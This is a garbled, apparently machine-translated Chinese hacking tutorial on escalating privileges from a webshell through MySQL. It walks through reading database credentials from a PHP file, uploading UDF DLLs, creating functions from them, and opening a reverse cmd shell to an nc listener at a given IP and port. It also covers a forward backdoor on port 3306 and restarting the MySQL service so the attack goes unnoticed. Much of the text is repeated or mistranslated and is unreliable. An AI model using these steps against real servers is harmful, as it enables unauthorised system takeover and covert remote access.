webshell提升权限（MySQL漏洞）
点评：s-serv提权的方式每个人都会使用，现在的主机配置是非常安全的，层出不穷的攻击是由一个中国网络安全发展的一个重要原因引起的，还有其他应用的访问密码，更换服务，等。但不是现在这么好。随着安全意识的增强，以前的方法不是很有用。现在我要把它给你。对s-serv提升动力的方式将被每个人使用。现在主人很安全。看来，对中国的网络安全进程的原因是攻击层出不穷。也有其他应用的访问密码，更换服务等等。但现在不太好。随着安全意识的提高，以前的方法不是很有效。现在让我来介绍一种提升你的力量的新方法。你看过古典音乐的动画朋友吗使用mysqll弱密码获取系统权限，也可以实现在Webshel后，但有一个前提，目标主机配备的是MySQL，你知道用户和密码，MySQL，那么你可以提高right.webshell得到它，这是不难发现的用户和密码。现在的我我要带我的另一台机器作为一个示范，我已经通过了phpshell，如图1所示。
一般来说，连接mysql的帐户密码非常好，只需编辑一个PHP文件，就可以看到它。例如，图2
见，用户名：root密码：123456名：PHP，然后怎么办首先，使用SQL查询来建立连接，如图3所示
HA连接已经成功。现在我们开始使用我们的mix.dll my_udf.dll到upload.ok第一，然后mix.dll使用反弹连接。my_udf.dll是正向连接。它直接连接到对方的3306端口，然后输入密码得到了CMDSHELL.OK，不多的。在那之后，我们执行以下SQL语句创建函数返回字符串mixconnect现在会： PHP PHP 组合。dll'to登记功能。
成功执行SQL语句！例如，图4
离这不远得到cmdshell。我们首先使用数控监测第一个港口，Nc·L·P 1234（我不想采取截图），然后执行该语句：选择mixconnect（'192.168.1.254 '，'1234 '），激活此功能，如图5所示。
执行成功，看看我们的NC是如何反映的，如图6所示。
对cmshell成功，但是MySQL对方已暂停咯，我们把MySQL服务杀掉，然后重启mysql服务，或管理员发现网站不能运行，然后…如果服务器不允许任何外部IP和端口进行连接，3306端口对外开放！然后my_udf.dll应该发挥，使用方法如混合，执行下面的语句：成功创建函数返回字符串连接MySQL my_udfdoor现在会经过： PHP PHP my_udf。DLL；执行语句后的成功，然后我们开始激活此功能，输入一句话：选择my_udfdoor（''）；然后连接3306端口的NC，然后输入*你可以得到一个为图7
好的成功！考试结束